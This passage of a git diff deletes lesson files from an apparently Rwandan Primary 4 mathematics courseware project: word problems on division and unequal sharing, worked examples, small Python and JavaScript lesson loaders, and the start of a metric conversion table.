-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a05/a.txt b/Save_Mathematics/P4/map411m10/map411m10a05/a.txt
deleted file mode 100644
index d0de62c..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a05/a.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- 1) In my family , we consume 2kg of rice every day and 1kg of rice costs 600F .
- <br />
- How much money spent after 5 days ?
- <br />
- <br />
- 2) If AVEGA association won 75,000 dollars as a reward in 2010, and there are 15 associations of widows to help with that sum .How much dollars would each association get ?
- <br />
- <br />
- 3) The refugees in Darfour obtained 99,000l of water . 53,000 litres are already consumed . Find the rest .
- <br />
- <br />
- 4) A seller of fish receives 8,640rwf in morning and afternoon he gets 7,800rwf.
- <br />
- Find the total he gets all the day .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a05/description.py b/Save_Mathematics/P4/map411m10/map411m10a05/description.py
deleted file mode 100644
index 9ef9185..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a05/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a05/lesson.js
deleted file mode 100644
index 6bc5786..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a05/source.txt b/Save_Mathematics/P4/map411m10/map411m10a05/source.txt
deleted file mode 100644
index d0de62c..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a05/source.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-<p>
- 1) In my family , we consume 2kg of rice every day and 1kg of rice costs 600F .
- <br />
- How much money spent after 5 days ?
- <br />
- <br />
- 2) If AVEGA association won 75,000 dollars as a reward in 2010, and there are 15 associations of widows to help with that sum .How much dollars would each association get ?
- <br />
- <br />
- 3) The refugees in Darfour obtained 99,000l of water . 53,000 litres are already consumed . Find the rest .
- <br />
- <br />
- 4) A seller of fish receives 8,640rwf in morning and afternoon he gets 7,800rwf.
- <br />
- Find the total he gets all the day .
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a06/a.txt b/Save_Mathematics/P4/map411m10/map411m10a06/a.txt
deleted file mode 100644
index ad796b7..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a06/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- 1) The total distance between Huye and Kigali is 150km .If the fuel consumption of a car is 7km per litre. How many litres of fuel are needed for the trip ?
- <br />
- <br />
- 2) At Amahoro stadium , on Liberation day , there are 47 ,000 men and 14,000 women who are assisting to the manifestations . Find the number of people at stadium .
- <br />
- 3) 49, 600 mathematics textbooks were distributed were distributed equally among 80 schools . How many books did each school receive ?
- <br />
- <br />
- 4) Joy spent 45, 800 rwf on cement and 28 ,000 rwf . How much money did she spend altogether ?
- <br />
- <br />
- 5 ) A woman sold 7 sheep at 92,000rwf at the market . Find the cost of each sheep .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m10/map411m10a06/description.py b/Save_Mathematics/P4/map411m10/map411m10a06/description.py
deleted file mode 100644
index 154be53..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m10a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m10/map411m10a06/lesson.js b/Save_Mathematics/P4/map411m10/map411m10a06/lesson.js
deleted file mode 100644
index cd012f3..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m10/map411m10a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m10/map411m10a06/source.txt b/Save_Mathematics/P4/map411m10/map411m10a06/source.txt
deleted file mode 100644
index ad796b7..0000000
--- a/Save_Mathematics/P4/map411m10/map411m10a06/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- 1) The total distance between Huye and Kigali is 150km .If the fuel consumption of a car is 7km per litre. How many litres of fuel are needed for the trip ?
- <br />
- <br />
- 2) At Amahoro stadium , on Liberation day , there are 47 ,000 men and 14,000 women who are assisting to the manifestations . Find the number of people at stadium .
- <br />
- 3) 49, 600 mathematics textbooks were distributed were distributed equally among 80 schools . How many books did each school receive ?
- <br />
- <br />
- 4) Joy spent 45, 800 rwf on cement and 28 ,000 rwf . How much money did she spend altogether ?
- <br />
- <br />
- 5 ) A woman sold 7 sheep at 92,000rwf at the market . Find the cost of each sheep .
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/activities.js b/Save_Mathematics/P4/map411m11/activities.js
deleted file mode 100755
index b1e1870..0000000
--- a/Save_Mathematics/P4/map411m11/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m11a01','blue'],
-['2','2','map4','basic','map411m11a02','blue'],
-['3','3','map4','basic','map411m11a03','blue'],
-['4','4','map4','basic','map411m11a04','blue'],
-['5','5','map4','basic','map411m11a05','blue'],
-['6','6','map4','basic','map411m11a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m11/map411m11a01/a.txt b/Save_Mathematics/P4/map411m11/map411m11a01/a.txt
deleted file mode 100644
index 749bdf8..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a01/a.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Sharing is currently in our society , concerning lands, cattle ,food , money , etc .
- <br />
- At school when students are sharing Activities , food during a school party , books and scolar materials........
- <br />
- <br />
- this course of unequal sharing is going to help us in our daily life society.
- <br />
- <br />
- Instructional materials chart to show how to find unequal shares when one share is a multiple of other
- <br />
- <br />
- prerequisite: _ Quick division
- <br />
- _ Quick multiplication
- <br />
- _ Addition
- <br />
- _ Substraction
- <br />
- <br />
- <br />
- <br />
- 61 x 23
- <br />
- 8442 :21
- <br />
- 654 : 25
- <br />
- 11334 + 67
- <br />
- 53211 - 1256
- <br />
- 20222 + 3790
- <br />
- 68456- 5689
- <br />
- 75 x1000
- <br />
- <br />
- 308 x 14
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a01/description.py b/Save_Mathematics/P4/map411m11/map411m11a01/description.py
deleted file mode 100644
index 10061f0..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a01/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a01/lesson.js
deleted file mode 100644
index c379a90..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a01/source.txt b/Save_Mathematics/P4/map411m11/map411m11a01/source.txt
deleted file mode 100644
index 749bdf8..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a01/source.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-<p>
- Sharing is currently in our society , concerning lands, cattle ,food , money , etc .
- <br />
- At school when students are sharing Activities , food during a school party , books and scolar materials........
- <br />
- <br />
- this course of unequal sharing is going to help us in our daily life society.
- <br />
- <br />
- Instructional materials chart to show how to find unequal shares when one share is a multiple of other
- <br />
- <br />
- prerequisite: _ Quick division
- <br />
- _ Quick multiplication
- <br />
- _ Addition
- <br />
- _ Substraction
- <br />
- <br />
- <br />
- <br />
- 61 x 23
- <br />
- 8442 :21
- <br />
- 654 : 25
- <br />
- 11334 + 67
- <br />
- 53211 - 1256
- <br />
- 20222 + 3790
- <br />
- 68456- 5689
- <br />
- 75 x1000
- <br />
- <br />
- 308 x 14
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a02/a.txt b/Save_Mathematics/P4/map411m11/map411m11a02/a.txt
deleted file mode 100644
index 3dc6aed..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a02/a.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- Examples 1
- <br />
- a) David and Odette shared 35 ,000 rwf . Odette got 1,000 rwf more than David.
- <br />
- How much did each get ?
- <br />
- <br />
- David l__________l
- <br />
- <span style="color: #ffffff;">
-  ........ .
- </span>
- 17,000 rwf
- <br />
- Odette l__________l____l
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- 17,000rwf
- <span style="color: #ffffff;">
-  .
- </span>
- 1,000 rwf
- <br />
- Given : The shared sum = 35,000 rwf
- <br />
- <br />
- The difference = 1, 000rwf
- <br />
- Substract the difference from the total = 35,000rwf - 1,000rwf = 34,000rwf .
- <br />
- then divide by 2 to get equal shares.
- <br />
- 34 ,000 : 2 = 17 , 000 rwf
- <br />
- The smallest share is 17,000rwf
- <br />
- The biggest share is 17 ,000rwf + 1,000rwf = 18 ,000rwf
- <br />
- Odette got 18,000rwf
- <br />
- David got 17,000rwf
- <br />
- Verification : 17,000rwf + 1,000rwf = 35,000 rwf .
- <br />
- <br />
- <br />
- <br />
- b)The sum of Leon ,s age and Sidonie ,s age is 70years . If Leon is 2 years older than Sidonie . How old is Leon ? How old is Sidonie ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction. Photos of two young man and woman
- </span>
- <br style="color: #ff0000;" />
- <br />
- Solution : Sidonie l_______l
- <br />
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- Leon l________l__l
- <br />
- <span style="color: #ffffff;">
-  ............................
- </span>
- + 2years.
- <br />
- The sum = 70 years
- <br />
- The difference = 2
- <br />
- Substract difference from total = 70 years - 2 years = 68 years
- <br />
- One share = 68 years : 2 = 34 years
- <br />
- The oldest has 34 years + 2 years = 36years
- <br />
- Leon is 36 years old
- <br />
- Sidonie is 34 years old
- <br />
- <br />
- <span style="font-weight: bold;">
-  Remember 1
- </span>
- : To find unequal shares when difference is given , substract the difference from the total divided by 2 then add equal share to the difference .
- <br />
- <br />
- Example 2: A mother is four times as old as her son . Their total age is 30 years. How old is each of them ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction
- </span>
- . Picture of a lady with her son .
- <br />
- <br />
- Solution :
- <br />
- <br />
- The daughter l____________l One share .
- <br />
- <br />
- The mother l____________l___________l__________l________l 4 shares
- <br />
- <br />
- Mother and her son all have 5 shares .
- <br />
- <br />
- The value of one share is 30 : 5 = 6 years
- <br />
- <br />
- The son has 6 years x 1 = 6 years
- <br />
- <br />
- The mother has 6 years x 4 = 24 years
- <br />
- <br />
- Verification 24 years + 6 years = 30 years
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Remember 2
- </span>
- : To get the unit share , divide the total amount by all shares .
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a02/description.py b/Save_Mathematics/P4/map411m11/map411m11a02/description.py
deleted file mode 100644
index e914dd6..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a02/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a02/lesson.js
deleted file mode 100644
index b0ba247..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a02/source.txt b/Save_Mathematics/P4/map411m11/map411m11a02/source.txt
deleted file mode 100644
index 3dc6aed..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a02/source.txt
+++ /dev/null
@@ -1,149 +0,0 @@
-<p>
- Examples 1
- <br />
- a) David and Odette shared 35 ,000 rwf . Odette got 1,000 rwf more than David.
- <br />
- How much did each get ?
- <br />
- <br />
- David l__________l
- <br />
- <span style="color: #ffffff;">
-  ........ .
- </span>
- 17,000 rwf
- <br />
- Odette l__________l____l
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- 17,000rwf
- <span style="color: #ffffff;">
-  .
- </span>
- 1,000 rwf
- <br />
- Given : The shared sum = 35,000 rwf
- <br />
- <br />
- The difference = 1, 000rwf
- <br />
- Substract the difference from the total = 35,000rwf - 1,000rwf = 34,000rwf .
- <br />
- then divide by 2 to get equal shares.
- <br />
- 34 ,000 : 2 = 17 , 000 rwf
- <br />
- The smallest share is 17,000rwf
- <br />
- The biggest share is 17 ,000rwf + 1,000rwf = 18 ,000rwf
- <br />
- Odette got 18,000rwf
- <br />
- David got 17,000rwf
- <br />
- Verification : 17,000rwf + 1,000rwf = 35,000 rwf .
- <br />
- <br />
- <br />
- <br />
- b)The sum of Leon ,s age and Sidonie ,s age is 70years . If Leon is 2 years older than Sidonie . How old is Leon ? How old is Sidonie ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction. Photos of two young man and woman
- </span>
- <br style="color: #ff0000;" />
- <br />
- Solution : Sidonie l_______l
- <br />
- <br />
- <span style="color: #ffffff;">
-  ..
- </span>
- Leon l________l__l
- <br />
- <span style="color: #ffffff;">
-  ............................
- </span>
- + 2years.
- <br />
- The sum = 70 years
- <br />
- The difference = 2
- <br />
- Substract difference from total = 70 years - 2 years = 68 years
- <br />
- One share = 68 years : 2 = 34 years
- <br />
- The oldest has 34 years + 2 years = 36years
- <br />
- Leon is 36 years old
- <br />
- Sidonie is 34 years old
- <br />
- <br />
- <span style="font-weight: bold;">
-  Remember 1
- </span>
- : To find unequal shares when difference is given , substract the difference from the total divided by 2 then add equal share to the difference .
- <br />
- <br />
- Example 2: A mother is four times as old as her son . Their total age is 30 years. How old is each of them ?
- <br />
- <br />
- <span style="color: #ff0000;">
-  Instruction
- </span>
- . Picture of a lady with her son .
- <br />
- <br />
- Solution :
- <br />
- <br />
- The daughter l____________l One share .
- <br />
- <br />
- The mother l____________l___________l__________l________l 4 shares
- <br />
- <br />
- Mother and her son all have 5 shares .
- <br />
- <br />
- The value of one share is 30 : 5 = 6 years
- <br />
- <br />
- The son has 6 years x 1 = 6 years
- <br />
- <br />
- The mother has 6 years x 4 = 24 years
- <br />
- <br />
- Verification 24 years + 6 years = 30 years
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  Remember 2
- </span>
- : To get the unit share , divide the total amount by all shares .
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline;">
- </span>
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a03/a.txt b/Save_Mathematics/P4/map411m11/map411m11a03/a.txt
deleted file mode 100644
index c526c51..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a03/a.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- 1)Mary and Jeff shared 80 oranges and Jeff got 12 more oranges than Mary. How many oranges did each get ?
- <br />
- <br />
- 2)The sum peter's age and Eliphaz's age is 36 years, if peter has 4 age older than Eliphaz .
- <br />
- How old is each of them ?
- <br />
- <br />
- 3) There are 400 pupils on a playground . The boys are twice more than the girls . How many boys and girls are on the playground ?
- <br />
- <br />
- 4) The total weight of Java and her brother is 145kg .If the difference between their weight is 5kg, what is each one's weight if Java is heavier than her brother?v
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a03/description.py b/Save_Mathematics/P4/map411m11/map411m11a03/description.py
deleted file mode 100644
index 7d7536d..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a03/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a03/lesson.js
deleted file mode 100644
index aa32c2f..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a03/source.txt b/Save_Mathematics/P4/map411m11/map411m11a03/source.txt
deleted file mode 100644
index c526c51..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a03/source.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-<p>
- 1)Mary and Jeff shared 80 oranges and Jeff got 12 more oranges than Mary. How many oranges did each get ?
- <br />
- <br />
- 2)The sum peter's age and Eliphaz's age is 36 years, if peter has 4 age older than Eliphaz .
- <br />
- How old is each of them ?
- <br />
- <br />
- 3) There are 400 pupils on a playground . The boys are twice more than the girls . How many boys and girls are on the playground ?
- <br />
- <br />
- 4) The total weight of Java and her brother is 145kg .If the difference between their weight is 5kg, what is each one's weight if Java is heavier than her brother?v
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a04/a.txt b/Save_Mathematics/P4/map411m11/map411m11a04/a.txt
deleted file mode 100644
index 412413c..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a04/a.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- 1) Claude and his sister have 39,000rwf altogether. How much money does each of
- <br />
- them have if claude has 1,000rwf more than his sister ?
- <br />
- <br />
- 2) Kagabo earns 3 times his wife per month .How much does each of them earn if the
- <br />
- sum of their Salaries is 96,000Rwf per month ?
- <br />
- <br />
- 3) Martin has 800Rwf less than Tatiana if both of them have altogether 16.000Rwf .
- <br />
- How much does each of them have?
- <br />
- <br />
- 4) A radio costs 10 times less than a phone . If both a radio and a phone cost 77,000rwf.
- <br />
- <br />
- a) How much money does a telephone cost ?
- <br />
- <br />
- b) How much money does a radio cost ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a04/description.py b/Save_Mathematics/P4/map411m11/map411m11a04/description.py
deleted file mode 100644
index 0ad7b57..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a04/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a04/lesson.js
deleted file mode 100644
index fc2562e..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a04/source.txt b/Save_Mathematics/P4/map411m11/map411m11a04/source.txt
deleted file mode 100644
index 412413c..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a04/source.txt
+++ /dev/null
@@ -1,24 +0,0 @@
-<p>
- 1) Claude and his sister have 39,000rwf altogether. How much money does each of
- <br />
- them have if claude has 1,000rwf more than his sister ?
- <br />
- <br />
- 2) Kagabo earns 3 times his wife per month .How much does each of them earn if the
- <br />
- sum of their Salaries is 96,000Rwf per month ?
- <br />
- <br />
- 3) Martin has 800Rwf less than Tatiana if both of them have altogether 16.000Rwf .
- <br />
- How much does each of them have?
- <br />
- <br />
- 4) A radio costs 10 times less than a phone . If both a radio and a phone cost 77,000rwf.
- <br />
- <br />
- a) How much money does a telephone cost ?
- <br />
- <br />
- b) How much money does a radio cost ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a05/a.txt b/Save_Mathematics/P4/map411m11/map411m11a05/a.txt
deleted file mode 100644
index b7bd9b7..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a05/a.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- 1) A book and a notebook cost 5,000Rwf altogether. How much does each cost if
- <br />
- a book costs 500f more than a notebook ?
- <br />
- <br />
- 2) Silas and Fabien run 20km per day . How long does each of them run if Fabien runs 4km more than silas a day ?
- <br />
- <br />
- 3) Aloys and Pascal shared 39 mangoes . If Pascal got a half
- <br />
- of Aloys'mangoes . How much did each get ?
- <br />
- <br />
- 4) There are 192 animals in a farm .The cattle are 3 times more than the goats . How many goats and cattle are at the farm ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a05/description.py b/Save_Mathematics/P4/map411m11/map411m11a05/description.py
deleted file mode 100644
index 09cd042..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a05/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a05/lesson.js
deleted file mode 100644
index 932d5ee..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a05/source.txt b/Save_Mathematics/P4/map411m11/map411m11a05/source.txt
deleted file mode 100644
index b7bd9b7..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a05/source.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-<p>
- 1) A book and a notebook cost 5,000Rwf altogether. How much does each cost if
- <br />
- a book costs 500f more than a notebook ?
- <br />
- <br />
- 2) Silas and Fabien run 20km per day . How long does each of them run if Fabien runs 4km more than silas a day ?
- <br />
- <br />
- 3) Aloys and Pascal shared 39 mangoes . If Pascal got a half
- <br />
- of Aloys'mangoes . How much did each get ?
- <br />
- <br />
- 4) There are 192 animals in a farm .The cattle are 3 times more than the goats . How many goats and cattle are at the farm ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a06/a.txt b/Save_Mathematics/P4/map411m11/map411m11a06/a.txt
deleted file mode 100644
index bc3db68..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a06/a.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- 1) Oliver has 1.000Rwf more than John. if both both have 12,000Rwf . How much does each have ?
- <br />
- <br />
- <br />
- 2)Tony and Dany are altogether 110 years old . How old is each of them if Dany is 10 years older than Tony ?
- <br />
- <br />
- 3) There are 400 people in the church .The adults are 3 times more than the children .
- <br />
- How many adults and children are in church ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m11/map411m11a06/description.py b/Save_Mathematics/P4/map411m11/map411m11a06/description.py
deleted file mode 100644
index be04bec..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map411m11a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P4/map411m11/map411m11a06/lesson.js b/Save_Mathematics/P4/map411m11/map411m11a06/lesson.js
deleted file mode 100644
index 3501e6d..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map411m11/map411m11a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map411m11/map411m11a06/source.txt b/Save_Mathematics/P4/map411m11/map411m11a06/source.txt
deleted file mode 100644
index bc3db68..0000000
--- a/Save_Mathematics/P4/map411m11/map411m11a06/source.txt
+++ /dev/null
@@ -1,12 +0,0 @@
-<p>
- 1) Oliver has 1.000Rwf more than John. if both both have 12,000Rwf . How much does each have ?
- <br />
- <br />
- <br />
- 2)Tony and Dany are altogether 110 years old . How old is each of them if Dany is 10 years older than Tony ?
- <br />
- <br />
- 3) There are 400 people in the church .The adults are 3 times more than the children .
- <br />
- How many adults and children are in church ?
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P4/map411m12/activities.js b/Save_Mathematics/P4/map411m12/activities.js
deleted file mode 100755
index 9c8201b..0000000
--- a/Save_Mathematics/P4/map411m12/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map4','basic','map411m12a01','blue'],
-['2','2','map4','basic','map411m12a02','blue'],
-['3','3','map4','basic','map411m12a03','blue'],
-['4','4','map4','basic','map411m12a04','blue'],
-['5','5','map4','basic','map411m12a05','blue'],
-['6','6','map4','basic','map411m12a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map411m12/map411m12a01/a.txt b/Save_Mathematics/P4/map411m12/map411m12a01/a.txt
deleted file mode 100644
index 6948d9a..0000000
--- a/Save_Mathematics/P4/map411m12/map411m12a01/a.txt
+++ /dev/null
@@ -1,268 +0,0 @@
-<p>
- Instructional materials charts with conversion tables , number
- <br />
- flash cards
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    km
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    hm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    dam
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    m
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    dm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    cm
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    mm
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    Kilometre(km)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    hectometre(hm)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="13%" valign="top">
-    decametre(dam)
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="13%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="13%" valign="top">
